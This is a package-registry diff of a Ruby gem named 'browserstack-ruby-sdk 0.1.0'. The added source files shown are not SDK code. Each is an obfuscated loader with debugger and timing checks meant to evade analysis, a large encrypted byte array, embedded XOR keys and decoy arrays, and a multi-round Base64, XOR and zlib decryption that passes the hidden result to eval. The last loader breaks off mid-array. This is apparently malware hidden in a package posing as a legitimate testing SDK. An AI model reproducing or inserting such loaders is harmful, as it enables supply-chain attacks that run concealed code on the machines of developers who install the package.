browserstack-ruby-sdk 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/CHANGELOG.md +7 -0
- data/LICENSE.txt +52 -0
- data/README.md +115 -0
- data/STYLE_GUIDE.md +43 -0
- data/exe/browserstack-sdk +8 -0
- data/generated/browserstack/sdk/v1/sdk_pb.rb +80 -0
- data/generated/browserstack/sdk/v1/sdk_services_pb.rb +47 -0
- data/lib/browserstack/browserstack_logger_factory.rb +123 -0
- data/lib/browserstack/browserstack_ruby_agent.rb +123 -0
- data/lib/browserstack/child_initializer.rb +123 -0
- data/lib/browserstack/cli/browserstack_cli.rb +123 -0
- data/lib/browserstack/cli/grpc_client.rb +123 -0
- data/lib/browserstack/cli/sdk_cli_utils.rb +123 -0
- data/lib/browserstack/command_executor.rb +123 -0
- data/lib/browserstack/config/browserstack_config.rb +123 -0
- data/lib/browserstack/constants.rb +123 -0
- data/lib/browserstack/eventbus/event.rb +123 -0
- data/lib/browserstack/eventbus/event_dispatcher.rb +123 -0
- data/lib/browserstack/frameworks/automationFrameworks/automation_framework.rb +123 -0
- data/lib/browserstack/frameworks/automationFrameworks/selenium_framework.rb +123 -0
- data/lib/browserstack/frameworks/constants/automation_constants.rb +123 -0
- data/lib/browserstack/frameworks/state/automation_framework_state.rb +123 -0
- data/lib/browserstack/frameworks/state/hook_state.rb +123 -0
- data/lib/browserstack/frameworks/state/test_framework_state.rb +123 -0
- data/lib/browserstack/frameworks/testFrameworks/cucumber_framework.rb +123 -0
- data/lib/browserstack/frameworks/testFrameworks/test_framework.rb +123 -0
- data/lib/browserstack/instance/automation_framework_instance.rb +123 -0
- data/lib/browserstack/instance/test_framework_instance.rb +123 -0
- data/lib/browserstack/instance/tracked_context.rb +123 -0
- data/lib/browserstack/instance/tracked_instance.rb +123 -0
- data/lib/browserstack/modules/base_module.rb +123 -0
- data/lib/browserstack/modules/web_driver_module.rb +123 -0
- data/lib/browserstack/monitor/performance.rb +123 -0
- data/lib/browserstack/monitor/performance_annotator.rb +123 -0
- data/lib/browserstack/monitor/performance_constants.rb +123 -0
- data/lib/browserstack/monitor/performance_test.rb +123 -0
- data/lib/browserstack/monitor/sdk_integration.rb +123 -0
- data/lib/browserstack/patches/appium_lib_core_patch.rb +123 -0
- data/lib/browserstack/patches/cucumber_patches.rb +123 -0
- data/lib/browserstack/patches/selenium_patches.rb +123 -0
- data/lib/browserstack/runner.rb +123 -0
- data/lib/browserstack/utils/api_utility_methods.rb +123 -0
- data/lib/browserstack/utils/framework_detector.rb +123 -0
- data/lib/browserstack/utils/http_calls.rb +123 -0
- data/lib/browserstack/utils/util_method.rb +123 -0
- data/lib/browserstack/version.rb +123 -0
- data/lib/browserstack_sdk.rb +123 -0
- data/proto/browserstack/sdk/v1/sdk.proto +487 -0
- data/sample/browserstack_sample.yml +298 -0
- metadata +218 -0
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_dcef8a4 = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_f7fe6ce = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _f7fe6ce) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_w58751c = _dcef8a4.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_i23c606 = ->(_q6d79fe, _lb7f771) do
|
|
32
|
+
_h880ef1 = []
|
|
33
|
+
_q6d79fe.each_with_index do |byte, idx|
|
|
34
|
+
_h880ef1 << (byte ^ _lb7f771[idx % _lb7f771.length])
|
|
35
|
+
end
|
|
36
|
+
_h880ef1
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_o3f18ad = lambda do |_eaf41a3, _p55bb57, _if1ea3f, _e3a5b09|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_eaf41a3.pack('C*'))
|
|
44
|
+
if current_hash != _e3a5b09
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_eaf41a3 = [204, 98, 207, 129, 243, 26, 96, 112, 180, 184, 10, 67, 5, 184, 35, 108, 74, 186, 66, 146, 15, 108, 87, 192, 181, 145, 236, 60, 184, 249, 133, 191, 210, 134, 223, 7, 184, 60, 92, 77, 118, 168, 249, 199, 202, 252, 208, 22, 101, 110, 197, 20, 54, 5, 30, 26, 195, 233, 63, 63, 193, 231, 192, 135, 59, 128, 57, 109, 223, 22, 142, 114, 216, 237, 242, 97, 76, 124, 136, 49, 61, 31, 198, 68, 246, 37, 252, 239, 200, 43, 66, 134, 29, 193, 72, 30, 243, 203, 140, 55, 44, 118, 248, 98, 168, 123, 193, 104, 42, 30, 199, 28, 173, 87, 20, 68, 78, 181, 233, 142, 125, 212, 59, 93, 178, 32, 164, 134, 79, 188, 65, 37, 133, 26, 18, 64, 90, 223, 17, 214, 32, 109, 6, 161, 194, 10, 28, 134, 47, 31, 76, 146, 22, 116, 240, 13, 22, 28, 25, 4, 231, 5, 220, 110, 139, 140, 169, 109, 120, 205, 82, 132, 50, 84, 103, 61, 123, 54, 35, 12, 219, 26, 17, 61, 221, 253, 97, 136, 27, 136, 161, 98, 84, 172, 31, 197, 169, 146, 173, 87, 81, 214, 227, 29, 66, 65, 238, 14, 216, 252, 128, 248, 212, 183, 5, 191, 119, 191, 215, 56, 130, 198, 214, 177, 209, 242, 30, 234, 180, 251, 15, 143, 82, 208, 91, 117, 124, 111, 255, 112, 247, 165, 217, 221, 47, 186, 99, 243, 76, 248, 20, 193, 95, 158, 133, 63, 207, 226, 47, 110, 0, 126, 88, 71, 232, 178, 213, 225, 103, 214, 60, 75, 238, 11, 40, 113, 60, 98, 38, 29, 21, 141, 102, 121, 67, 104, 140, 220, 57, 109, 140, 126, 118, 34, 244, 198, 7, 160, 80, 110, 176, 180, 204, 119, 11, 109, 116, 7, 154, 207, 107, 237, 160, 211, 209, 160, 6, 213, 238, 148, 40, 115, 165, 187, 128, 16, 182, 155, 223, 25, 39, 71, 189, 234, 219, 148, 89, 198, 15, 124, 16, 3, 133, 167, 131, 68, 80, 126, 120, 19, 36, 159, 171, 31, 21, 207, 211] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_x732458 = [130, 45, 127, 57, 115, 165, 43, 178, 165, 244, 157, 77, 205, 167, 43, 199, 180, 184, 202, 64]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_p55bb57 = [0, 0, 1, 1, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_e3a5b09 = 'b1e5b027e8837c0ef7f3e661d2fb654a50ea2cb413080fac2ba5cd1e85d6d682'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_d362a43 = [172, 254, 57, 254, 248, 195, 15, 63, 173, 252, 105, 225, 16, 47, 25, 105, 15, 138, 190, 152, 159, 69, 246, 255, 61, 245, 161, 62, 167, 232, 78, 42, 8, 59, 123, 216, 113, 142, 161, 91, 175, 171, 48, 96, 50, 132, 202, 23, 230, 221, 14, 106, 185, 31, 100, 237, 119, 73, 38, 72, 54, 9, 13, 253, 144, 175, 200, 203, 142, 177, 247, 231, 255, 78, 168, 186, 76, 88, 3, 60, 139, 114, 15, 233, 71, 151, 85, 171, 213, 107, 58, 30, 50, 241, 168, 148]
|
|
64
|
+
_n1578af = [159, 245, 115, 12, 241, 119, 6, 149, 143, 203, 242, 243, 183, 116, 4, 180, 245, 244, 42, 101, 150, 77, 145, 91, 242, 68, 223, 194, 115, 116, 220, 207, 175, 190, 18, 233, 71, 73, 41, 65, 194, 31, 194, 203, 120, 254, 68, 133, 118, 81, 2, 212, 131, 110, 71, 231, 111, 215, 252, 231, 69, 166, 129, 239, 128, 78, 246, 199, 67, 30, 23, 144, 214, 161, 190, 59, 214, 123, 99, 241, 127, 64, 229, 191]
|
|
65
|
+
_cbd1085 = [248, 75, 172, 249, 46, 54, 215, 241, 84, 83, 148, 141, 153, 199, 18, 56, 70, 198, 94, 69, 153, 200, 223, 251, 237, 20, 174, 201, 49, 59, 68, 80, 220, 33, 65, 13, 128, 42, 117, 158, 197, 38, 80, 139, 45, 20, 193, 78, 93, 184, 145, 139, 95, 150, 153, 232, 197, 185, 30, 168, 9, 125, 219, 126, 228, 116, 91, 136, 177, 188, 15, 50, 249, 182, 148, 221, 122, 151, 35, 27, 59, 241, 177, 124, 94, 1, 167, 160, 68, 237, 13, 130, 18, 239]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _o3f18ad.call(_eaf41a3, _p55bb57, _x732458, _e3a5b09)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_cff8d46 = _eaf41a3.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_ief2149|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_gd4c210 = 5 - _ief2149 - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_a3c61ee = 4
|
|
84
|
+
_qf6cea1 = _gd4c210 * _a3c61ee
|
|
85
|
+
_mce93d0 = _x732458[_qf6cea1, _a3c61ee]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _p55bb57[_gd4c210] == 1
|
|
93
|
+
_x792c04 = _cff8d46.pack('C*')
|
|
94
|
+
_x792c04 = Base64.strict_decode64(_x792c04)
|
|
95
|
+
_cff8d46 = _x792c04.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_cff8d46 = _i23c606.call(_cff8d46, _mce93d0)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_x792c04 = _cff8d46.pack('C*')
|
|
103
|
+
_x792c04 = Zlib::Inflate.inflate(_x792c04)
|
|
104
|
+
_cff8d46 = _x792c04.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_m0b70a4 = _cff8d46.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _m0b70a4.strip.empty? || _m0b70a4.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_m0b70a4, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _r7bfad5
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_r7bfad5.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_uc36321 = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_na65b82 = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _na65b82) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_h014d41 = _uc36321.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_r0f1787 = ->(_kb2db34, _y1601f8) do
|
|
32
|
+
_i869e72 = []
|
|
33
|
+
_kb2db34.each_with_index do |byte, idx|
|
|
34
|
+
_i869e72 << (byte ^ _y1601f8[idx % _y1601f8.length])
|
|
35
|
+
end
|
|
36
|
+
_i869e72
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_z690715 = lambda do |_ab523b5, _xdacdf5, _bafb82b, _t3f64fe|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_ab523b5.pack('C*'))
|
|
44
|
+
if current_hash != _t3f64fe
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_ab523b5 = [156, 123, 135, 49, 45, 3, 225, 207, 228, 161, 90, 240, 14, 163, 91, 229, 242, 214, 11, 105, 78, 8, 191, 170, 86, 242, 207, 119, 69, 199, 120, 10, 11, 60, 165, 199, 119, 154, 163, 113, 208, 41, 6, 213, 148, 92, 48, 108, 69, 24, 162, 87, 135, 139, 67, 192, 199, 4, 36, 91, 90, 167, 220, 82, 241, 67, 186, 131, 196, 85, 132, 93, 14, 42, 238, 208, 92, 70, 169, 30, 42, 6, 131, 242, 172, 196, 233, 46, 65, 215, 248, 140, 22, 226, 7, 61, 98, 239, 116, 36, 145, 92, 227, 7, 46, 232, 76, 67, 5, 35, 210, 12, 222, 75, 58, 173, 178, 58, 117, 30, 41, 235, 13, 55, 26, 111, 5, 108, 229, 45, 27, 42, 239, 66, 0, 42, 12, 83, 118, 109, 35, 101, 178, 149, 171, 106, 89, 53, 128, 125, 185, 251, 46, 249, 206, 60, 230, 84, 43, 242, 14, 137, 62, 241, 167, 58, 37, 247, 231, 69, 151, 38, 254, 7, 52, 137, 247, 225, 194, 211, 217, 88, 184, 220, 197, 106, 15, 195, 211, 38, 194, 88, 6, 28, 226, 176, 185, 198, 10, 103, 126, 221, 111, 250, 102, 105, 207, 70, 168, 201, 70, 209, 185, 31, 176, 140, 179, 183, 60, 110, 208, 124, 158, 250, 152, 75, 52, 47, 54, 105, 26, 217, 128, 125, 215, 219, 175, 118, 237, 166, 246, 245, 64, 169, 226, 30, 118, 6, 154, 85, 124, 237, 58, 192, 36, 203, 158, 254, 14, 224, 41, 24, 118, 160, 247, 228, 11, 77, 19, 178, 75, 198, 149, 238, 187, 225, 28, 207, 57, 177, 28, 48, 221, 251, 225, 40, 218, 166, 179, 13, 231, 133, 211, 241, 215, 205, 24, 2, 206, 102, 94, 38, 233, 217, 108, 127, 47, 36, 59, 105, 181, 96, 135, 222, 56, 195, 157, 181, 22, 113, 101, 217, 228, 252, 212, 227, 139, 133, 102, 185, 133, 230, 59, 183, 101, 215, 119, 139, 19, 34, 127, 62, 212, 219, 204, 235, 199, 52, 220, 197, 231, 82, 17, 239, 51, 112, 83, 1, 72, 171, 6, 205, 245, 95, 107, 64, 103, 51, 193, 137, 196, 217, 151, 142, 46, 210, 37, 14, 207, 108, 198, 222, 135, 91, 40, 149, 59, 48, 251, 19, 73, 115, 113, 76, 87, 185, 249, 90, 13, 64, 89, 239, 252, 1, 49, 223, 177, 46, 22, 57, 29, 36, 255, 90, 143, 157, 63, 78, 5, 190, 159, 149, 97, 27, 186, 14, 186, 188, 92, 111, 143, 42, 65, 97, 187, 211, 151, 172, 73, 244, 252, 106, 25, 7, 175, 208, 175, 53, 142, 125, 30, 254, 145, 178, 69, 4, 224, 187, 77, 90, 132, 210, 61, 161, 103, 221, 234, 8, 209, 88, 98, 19, 136, 137, 12, 58, 77, 51, 148, 27, 139, 146, 44, 24, 150, 87, 109, 60, 196, 75, 199, 189, 80, 192, 228, 238, 151, 183, 105, 7, 90, 188, 242, 176, 157, 93, 57, 239, 210, 118, 85, 219, 242, 14, 142, 111, 117, 249, 38, 211, 104, 48, 250, 146, 157, 194, 23, 26, 154, 236, 121, 71, 230, 213, 247, 92, 41, 39, 232, 201, 21, 49, 159, 57, 36, 176, 95, 88, 146, 36, 34, 130, 144, 220, 117, 37, 86, 146, 212, 93, 175, 175, 136, 56, 170, 136, 42, 184, 145, 94, 146, 118, 124, 44, 228, 5, 209, 148, 77, 17, 145, 41, 86, 25, 48, 143, 3, 54, 153, 133, 31, 197, 8, 247, 169, 126, 21, 146, 128, 113, 16, 16, 89, 14, 177, 99, 114, 1, 77, 250, 181, 76, 14, 44, 103, 145, 184, 36, 61, 10, 223, 77, 84, 194, 126, 243, 111, 16, 11, 190, 193, 165, 238, 197] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_w30f30b = [122, 214, 43, 104, 254, 218, 29, 145, 16, 167, 162, 199, 200, 1, 1, 118, 228, 161, 138, 255]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_xdacdf5 = [1, 0, 0, 1, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_t3f64fe = '10d77a95017873b816301981309d9002765d172a1c62e7e58c3db7a04d77d8eb'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_a2ceb17 = [103, 205, 229, 228, 143, 176, 250, 13, 161, 130, 162, 241, 12, 192, 102, 148, 85, 23, 11, 31, 232, 0, 177, 102, 158, 88, 100, 105, 79, 197, 26, 11, 163, 39, 25, 146, 58, 125, 243, 161, 100, 54, 134, 100, 14, 99, 120, 197, 176, 159, 221, 216, 64, 140, 215, 73, 38, 176, 243, 156, 232, 127, 77, 65, 183, 93, 9, 70, 224, 138, 49, 249, 134, 59, 6, 166, 24, 33, 237, 18, 186, 215, 44, 10, 127, 42, 114, 243, 152, 194, 94, 145, 159, 68, 184, 98, 65, 112, 120, 85, 31, 80, 83, 111, 238, 3, 108]
|
|
64
|
+
_y18959e = [25, 115, 25, 87, 131, 225, 225, 227, 216, 103, 61, 13, 51, 24, 132, 124, 234, 19, 222, 197, 201, 248, 108, 31, 22, 204, 161, 76, 116, 245, 116, 43, 161, 33, 237, 183, 152, 85, 73, 29, 211, 216, 201, 22, 100, 162, 248, 115, 61, 189, 7, 162, 121, 115, 122, 119, 158, 215, 100, 165, 108, 188, 181, 202, 236, 123, 123, 136, 210, 49, 83, 233, 240, 103, 90, 163, 16, 190, 118, 182, 50, 8, 24, 6, 215, 247, 43, 103, 224, 166, 32, 247, 142, 123, 216, 194, 82, 57]
|
|
65
|
+
_re7c410 = [120, 49, 141, 73, 42, 124, 74, 233, 164, 245, 71, 62, 35, 162, 199, 1, 245, 43, 128, 70, 0, 9, 209, 89, 30, 147, 218, 249, 252, 178, 139, 5, 196, 226, 15, 151, 172, 170, 25, 34, 44, 252, 77, 38, 199, 138, 77, 69, 252, 219, 228, 211, 97, 186, 209, 249, 191, 227, 92, 117, 183, 54, 253, 222, 246, 194, 245, 78, 2, 148, 167, 94, 168, 216, 146, 90, 29, 54, 63, 179, 137, 33, 131, 229, 192, 123, 148, 253, 109, 253, 59, 202, 55, 213, 208, 58, 251, 129, 206, 136, 237, 167, 32, 167, 81, 34, 252, 215, 73, 213, 209, 69, 12, 98, 35, 107, 156, 224, 40, 210, 156, 202, 67, 31, 19, 47, 46, 45, 253, 95, 118, 55, 31, 138, 67, 248, 195, 240, 153]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _z690715.call(_ab523b5, _xdacdf5, _w30f30b, _t3f64fe)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_rf60f69 = _ab523b5.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_ca5de33|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_rea5cd1 = 5 - _ca5de33 - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_k19be65 = 4
|
|
84
|
+
_ga80c78 = _rea5cd1 * _k19be65
|
|
85
|
+
_a771f0b = _w30f30b[_ga80c78, _k19be65]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _xdacdf5[_rea5cd1] == 1
|
|
93
|
+
_jefe1b0 = _rf60f69.pack('C*')
|
|
94
|
+
_jefe1b0 = Base64.strict_decode64(_jefe1b0)
|
|
95
|
+
_rf60f69 = _jefe1b0.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_rf60f69 = _r0f1787.call(_rf60f69, _a771f0b)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_jefe1b0 = _rf60f69.pack('C*')
|
|
103
|
+
_jefe1b0 = Zlib::Inflate.inflate(_jefe1b0)
|
|
104
|
+
_rf60f69 = _jefe1b0.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_d89df84 = _rf60f69.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _d89df84.strip.empty? || _d89df84.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_d89df84, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _ka4b261
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_ka4b261.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_xa3d7a0 = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_l584d4f = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _l584d4f) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_ne2d162 = _xa3d7a0.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_kea731f = ->(_p7569a8, _q541ae9) do
|
|
32
|
+
_g1aaf36 = []
|
|
33
|
+
_p7569a8.each_with_index do |byte, idx|
|
|
34
|
+
_g1aaf36 << (byte ^ _q541ae9[idx % _q541ae9.length])
|
|
35
|
+
end
|
|
36
|
+
_g1aaf36
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_l5f5135 = lambda do |_v665d15, _s7aa083, _oeb67ae, _j4eb06a|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_v665d15.pack('C*'))
|
|
44
|
+
if current_hash != _j4eb06a
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_v665d15 = [119, 139, 44, 172, 72, 243, 98, 60, 15, 81, 241, 127, 194, 115, 101, 76, 153, 43, 56, 88, 23, 124, 26, 89, 222, 106, 112, 50, 240, 174, 48, 162, 220, 254, 74, 119, 140, 207, 181, 103, 140, 78, 22, 132, 39, 196, 136, 12, 43, 75, 253, 155, 152, 137, 187, 228, 106, 87, 120, 133, 202, 102, 249, 148, 122, 208, 146, 145, 81, 227, 246, 37, 238, 87, 253, 83, 129, 101, 103, 171, 56, 142, 4, 85, 241, 95, 158, 47, 207, 133, 68, 191, 111, 179, 172, 146, 149, 163, 49, 21, 143, 235, 223, 164, 98, 249, 153, 206, 80, 189, 196, 41, 171, 125, 148, 211, 119, 26, 110, 16, 151, 245, 180, 70, 99, 168, 92, 136, 222, 198, 178, 144, 227, 231, 158, 243, 113, 108, 22, 196, 127, 209, 136, 71, 156, 115, 52, 207, 221, 207, 159, 50, 138, 216, 110, 99, 162, 105, 167, 191, 55, 131, 53, 149, 255, 64, 145, 176, 132, 40, 37, 86, 92, 77, 203, 237, 37, 80, 120, 37, 253, 28, 142, 202, 191, 148, 49, 107, 88, 238, 234, 152, 130, 93, 203, 41, 144, 46, 223, 97, 45, 21, 140, 215, 35, 59, 171, 163, 189, 7, 126, 32, 229, 239, 125, 190, 59, 61, 157, 9, 109, 128, 153, 143, 46, 131, 210, 61, 104, 251, 109, 187, 205, 200, 180, 220, 64, 142, 186, 109, 90, 117, 108, 204, 104, 171, 99, 107, 230, 77, 97, 44, 86, 252, 230, 98, 122, 130, 47, 130, 58, 98, 233, 167, 55, 41, 164, 30, 197, 237, 37, 240, 6, 182, 52, 30, 230, 197, 230, 178, 39, 190, 109, 165, 73, 16, 136, 212, 185, 88, 41, 214, 117, 94, 10, 173, 50, 143, 245, 134, 124, 230, 12, 238, 84, 95, 200, 235, 118, 135, 90, 182, 14, 76, 177, 1, 169, 95, 236, 113, 168, 14, 208, 130, 155, 221, 200, 81, 144, 152, 129, 97, 54, 207, 99, 197, 183, 39, 228, 113, 159, 220, 28, 119, 187, 219, 134, 5, 168, 57, 74, 83, 188, 28, 25, 225, 47, 196, 185, 230, 172, 164, 132, 92, 251, 55, 173, 238, 65, 35, 195, 77, 189, 227, 102, 100, 64, 207, 171, 251, 181, 96, 210, 161, 209, 232, 14, 129, 38, 115, 238, 238, 244, 40, 154, 155, 135, 36, 81, 232, 159, 33, 4, 217, 9, 206, 220, 79, 230, 231, 101, 202, 63, 254, 4, 245, 112, 194, 35, 167, 153, 140, 113, 148, 138, 195, 92, 68, 93, 190, 226, 51, 97, 65, 190, 95, 78, 60, 126, 37, 104, 205, 75, 187, 206, 249, 231, 50, 242, 239, 184, 199, 94, 96, 108, 76, 159, 23, 42, 69, 226, 232, 224, 198, 81, 210, 112, 107, 105, 20, 199, 225, 229, 169, 94, 45, 100, 208, 43, 252, 133, 138, 33, 52, 54, 58, 4, 70, 189, 221, 23, 102, 155, 251, 2, 86, 4, 160, 93, 182, 232, 34, 38, 191, 143, 5, 63, 0, 129, 206, 181, 177, 104, 180, 187, 140, 176, 